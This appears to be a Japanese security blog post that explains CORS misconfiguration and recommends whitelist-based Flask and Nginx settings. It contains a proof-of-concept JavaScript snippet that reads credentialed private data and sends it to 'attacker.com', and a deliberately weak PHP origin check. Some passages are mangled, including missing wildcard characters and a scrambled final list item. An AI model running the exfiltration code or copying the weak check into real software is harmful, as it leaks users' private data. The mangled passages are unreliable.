CORS誤設定の恐怖:なぜ「とりあえずワイルドカード」が致命的なのか
「とりあえず動けばいいから、Access-Control-Allow-Origin: にしておこう」
もし君のチームでそんなコードがレビューを通過しているなら、それは時限爆弾を抱えて走っているようなものだ。CORS(Cross-Origin Resource Sharing)の誤設定は、単なるWeb開発の作法ではなく、「認証済みユーザーのブラウザを、攻撃者のスパイに変える」という極めて深刻な脆弱性に直結する。
今日は、教科書的な説明は抜きにして、現場で実際に起きている「CORSの盲点」と、それを確実に封じ込めるための実装論を叩き込む。
—
1. 攻撃者はどこを狙っているのか?
CORSポリシーが甘いと何が起きるのか。結論から言えば、「君のサイトにログインしているユーザーのブラウザ上で、攻撃者のスクリプトが機密情報を読み取れる」ということだ。
攻撃者は、あなたのサーバーが適切にオリジンを検証していないことを知ると、被害者を釣ったフィッシングサイトから、被害者のブラウザを経由して、あなたのAPIへ認証情報(CookieやAuthorizationヘッダー)付きのリクエストを飛ばす。
攻撃のPoC(概念実証)
攻撃者が仕掛ける罠は極めてシンプルだ。
// 攻撃者の悪意あるサイトで実行されるJS
fetch(‘https://api.your-service.com/user/private-data’, {
credentials: ‘include’ // 認証情報(Cookie等)を強制的に含める
})
.then(response => response.json())
.then(data => {
// 盗み出したデータを攻撃者のサーバーへ送信
fetch(‘https://attacker.com/log?data=’ + JSON.stringify(data));
});
もし、あなたのサーバーが Access-Control-Allow-Origin: を返していれば、ブラウザは「お、このAPIはどこからでもアクセスOKだな」と判断し、本来守られるべきレスポンスを攻撃者に渡してしまう。これが情報漏洩のメカニズムだ。
—
2. 実務で「絶対にやってはいけない」設定
多くのエンジニアが犯す過ちは、「正規表現による雑な許可」だ。
// 悪い例:末尾一致のみチェックする甘い実装
$origin = $_SERVER[‘HTTP_ORIGIN’];
if (strpos($origin, ‘trusted-app.com’) !== false) {
header(“Access-Control-Allow-Origin: $origin”);
}
これだと、攻撃者が attacker-trusted-app.com というドメインを確保すれば、簡単にチェックをすり抜ける。正規表現でバリデーションする際も、^https://.\.trusted-app\.com$ のように境界を意識しない実装は、脆弱性の温床になる。
—
3. 【コピペ推奨】セキュアなCORS実装サンプル
安全な実装の鉄則は、「ホワイトリストによる厳密な突き合わせ」だ。
Python (Flask) の場合
Flaskで実装する場合、リクエストの Origin ヘッダーをホワイトリストと照合し、一致した場合のみ許可を返すロジックを組む。
from flask import Flask, request, jsonify
app = Flask(__name__)
安全なオリジンのリスト(動的に変更可能な設計にすること)
ALLOWED_ORIGINS = [“https://app.example.com”, “https://admin.example.com”]
@app.after_request
def add_cors_headers(response):
origin = request.headers.get(‘Origin’)
if origin in ALLOWED_ORIGINS:
response.headers[‘Access-Control-Allow-Origin’] = origin
response.headers[‘Access-Control-Allow-Credentials’] = ‘true’ # 必要時のみ
response.headers[‘Access-Control-Allow-Methods’] = ‘GET, POST, OPTIONS’
return response
Nginx での設定(インフラ層での防御)
アプリケーション側で制御するのが理想だが、フロントエンドのNginxで一括制御する場合も、ワイルドカードは厳禁だ。
map $http_origin $cors_origin {
default “”;
“https://app.example.com” “$http_origin”;
“https://admin.example.com” “$http_origin”;
}
server {
location /api/ {
if ($cors_origin) {
add_header ‘Access-Control-Allow-Origin’ $cors_origin always;
add_header ‘Access-Control-Allow-Credentials’ ‘true’ always;
}
# … 以降のプロキシ設定
}
}
—
4. 最後に:セキュリティチーフからの提言
CORSの脆弱性は、WAFだけで防ぐのは難しい。なぜなら、正当なユーザーからのリクエストと攻撃者からのリクエストが、通信経路としては同じだからだ。
1. デフォルトで拒否する: Access-Control-Allow-Origin は、必要なオリジンにのみ明示的に許可を与える。
2. を使うAPIでは、ワイルドカードはブラウザによって即座に拒否される仕様だが、設定の意図を曖昧にしないこと。 は絶対禁止:</b> credentials: include
3. Varyヘッダーの活用: キャッシュを利用している場合、Vary: Origin を指定しないと、異なるオリジン間でキャッシュが混ざり、意図しない情報開示が発生するリスクがある。これも忘れずに追加してほしい。
セキュリティは「設定」ではなく「設計」だ。コードを書く時、「このAPIは誰から呼ばれるべきか?」を常に自問自答すること。それが、君がプロフェッショナルとして生き残るための唯一の道だ。
現場からは以上だ。また何かあれば、いつでもコードを持ってくるといい。
コメント